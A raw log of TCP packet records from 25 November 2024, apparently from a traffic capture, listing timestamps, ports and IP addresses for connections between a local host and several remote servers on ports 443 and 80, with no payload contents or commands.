Nov 25, 2024 12:08:29.645035982 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:29.659527063 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:29.659547091 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:29.659945011 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:29.702821970 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:29.818593979 CET	443	49708	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:29.818659067 CET	443	49708	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:29.818692923 CET	443	49708	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:29.818710089 CET	49708	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:29.818727016 CET	443	49708	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:29.818797112 CET	49708	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:29.818804026 CET	443	49708	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:29.818866968 CET	443	49708	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:29.818923950 CET	49708	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:29.820219040 CET	49708	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:29.820230007 CET	443	49708	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.022097111 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.022161007 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.022197962 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.022232056 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.022248030 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.022277117 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.022296906 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.030479908 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.030534983 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.030544043 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.039731979 CET	443	49712	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.039872885 CET	443	49712	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.040082932 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.040976048 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.040992975 CET	443	49712	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.046202898 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.046258926 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.046273947 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.055773020 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.055826902 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.055835009 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.119577885 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.141757011 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.141834974 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.141892910 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.141916990 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.223213911 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.223269939 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.223295927 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.235152006 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.235203028 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.235212088 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.237515926 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.237581015 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.237595081 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.246722937 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.246792078 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.246814013 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.256530046 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.256604910 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.256613970 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.270112991 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.270194054 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.270201921 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.283886909 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.284346104 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.284353971 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.296515942 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.296574116 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.296582937 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.309354067 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.309406042 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.309415102 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.321984053 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.322056055 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.322063923 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.334790945 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.336488962 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.336499929 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.348347902 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.348474979 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.348486900 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.420335054 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.420351982 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.425867081 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.425945044 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.425955057 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.428071976 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.428121090 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.428128958 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.434039116 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.434108973 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.434117079 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.442076921 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.442106009 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.442126989 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.442136049 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.442214012 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.446614981 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.450578928 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.450645924 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.450654030 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.459019899 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.459049940 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.459072113 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.459079981 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.459161043 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.461276054 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.465627909 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.465677023 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.465687990 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.469661951 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.469732046 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.469738960 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.478465080 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.478538990 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.478547096 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.488158941 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.488210917 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.488218069 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.497282982 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.497374058 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.497381926 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.507116079 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.507174969 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.507183075 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.516365051 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.516417980 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.516424894 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.546792984 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.546885967 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.546894073 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.550018072 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.550065994 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.550076008 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.552647114 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.552779913 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.552787066 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.556168079 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.556220055 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.556226969 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.561547995 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.561602116 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.561609983 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.570143938 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.570188999 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.570198059 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.577409983 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.577467918 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.577475071 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.585670948 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.585725069 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.585745096 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.625540972 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.625592947 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.625602961 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.626390934 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.626454115 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.626461983 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.631689072 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.631740093 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.631746054 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.634505987 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.634540081 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.634553909 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.634562016 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.634895086 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.637096882 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.639781952 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.639837027 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.639842987 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.642523050 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.642565012 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.642573118 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.645289898 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:30.645342112 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.645554066 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:30.645565033 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 12:08:31.080626965 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:31.127346039 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:31.659003973 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:31.659039974 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:31.659049988 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:31.659066916 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:31.659102917 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:31.659106016 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:31.659130096 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:31.659142971 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:31.659161091 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:31.659182072 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:31.677948952 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:31.678003073 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:31.678013086 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:31.678071976 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:31.678113937 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:31.969821930 CET	49725	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:31.969866037 CET	443	49725	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:31.970045090 CET	49725	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:31.971266985 CET	49725	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:31.971278906 CET	443	49725	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:32.423286915 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:32.423544884 CET	49728	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:32.542875051 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:32.542979956 CET	80	49728	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:32.543061018 CET	49728	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:32.543281078 CET	49728	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:32.662803888 CET	80	49728	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:32.974503994 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:32.974539042 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:32.974551916 CET	49714	443	192.168.2.8	4.245.163.56
Nov 25, 2024 12:08:32.974559069 CET	443	49714	4.245.163.56	192.168.2.8
Nov 25, 2024 12:08:33.397375107 CET	443	49725	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:33.397449970 CET	49725	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:33.412798882 CET	49725	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:33.412813902 CET	443	49725	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:33.413124084 CET	443	49725	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:33.463660002 CET	49725	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:33.507334948 CET	443	49725	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:33.924295902 CET	443	49725	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:33.924386024 CET	443	49725	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:33.924436092 CET	49725	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:33.924889088 CET	49725	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:33.924904108 CET	443	49725	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:33.924915075 CET	49725	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:33.924920082 CET	443	49725	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:34.207952023 CET	49730	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:34.207990885 CET	443	49730	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:34.208220959 CET	49730	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:34.208664894 CET	49730	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:34.208679914 CET	443	49730	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:34.414897919 CET	49731	443	192.168.2.8	172.217.17.78
Nov 25, 2024 12:08:34.414949894 CET	443	49731	172.217.17.78	192.168.2.8
Nov 25, 2024 12:08:34.415169001 CET	49731	443	192.168.2.8	172.217.17.78
Nov 25, 2024 12:08:34.415703058 CET	49731	443	192.168.2.8	172.217.17.78
Nov 25, 2024 12:08:34.415719032 CET	443	49731	172.217.17.78	192.168.2.8
Nov 25, 2024 12:08:34.435950994 CET	80	49728	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:34.436044931 CET	49728	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:34.544739008 CET	49728	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:34.555576086 CET	49731	443	192.168.2.8	172.217.17.78
Nov 25, 2024 12:08:34.557940006 CET	49713	443	192.168.2.8	172.217.21.36
Nov 25, 2024 12:08:34.664293051 CET	80	49728	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:35.519155979 CET	80	49728	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:35.519656897 CET	49728	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:35.676223993 CET	443	49730	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:35.676321030 CET	49730	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:35.906691074 CET	49730	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:35.906716108 CET	443	49730	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:35.907020092 CET	443	49730	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:35.916950941 CET	49730	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:35.963320971 CET	443	49730	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:36.334465981 CET	443	49730	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:36.334521055 CET	443	49730	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:36.334574938 CET	49730	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:36.382297993 CET	49730	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:36.382324934 CET	443	49730	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:36.382335901 CET	49730	443	192.168.2.8	23.218.208.109
Nov 25, 2024 12:08:36.382343054 CET	443	49730	23.218.208.109	192.168.2.8
Nov 25, 2024 12:08:39.181596994 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:39.181639910 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:39.181711912 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:39.185070992 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:39.185086012 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:39.597929955 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:39.598004103 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:39.598082066 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:39.598483086 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:39.598519087 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:39.598575115 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:39.599148035 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:39.599163055 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:39.599543095 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:39.599575043 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:39.856209040 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:39.856251001 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 12:08:39.856319904 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:39.857228994 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:39.857245922 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 12:08:40.522049904 CET	80	49728	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:40.522135019 CET	49728	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:40.810750961 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:40.810784101 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:40.810853958 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:40.823442936 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:40.823457956 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:41.217555046 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.217556000 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.217984915 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.218004942 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.218116999 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.218142033 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.218399048 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.218476057 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.218511105 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.218560934 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.219177961 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.219245911 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.219260931 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.219484091 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.220427036 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.220513105 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.221021891 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.221029997 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.221440077 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.221534014 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.221585035 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.263370037 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.317754984 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:41.318051100 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:41.318077087 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:41.319086075 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:41.319153070 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:41.320204973 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:41.320278883 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:41.320458889 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:41.320468903 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:41.328821898 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.328821898 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.328840017 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.517044067 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:41.517054081 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.529453039 CET	49728	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:41.529809952 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:41.648941040 CET	80	49728	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:41.649238110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:41.649441004 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:41.661386967 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 12:08:41.671124935 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:41.671148062 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 12:08:41.672543049 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 12:08:41.672616005 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:41.697705984 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.697854042 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.698024988 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.725090027 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.725203037 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.725276947 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.809832096 CET	49737	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.809856892 CET	443	49737	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.810266018 CET	49738	443	192.168.2.8	13.107.9.158
Nov 25, 2024 12:08:41.810288906 CET	443	49738	13.107.9.158	192.168.2.8
Nov 25, 2024 12:08:41.812946081 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:41.813359976 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 12:08:41.813689947 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:41.813704967 CET	443	49739	94.245.104.56	192.168.2.8
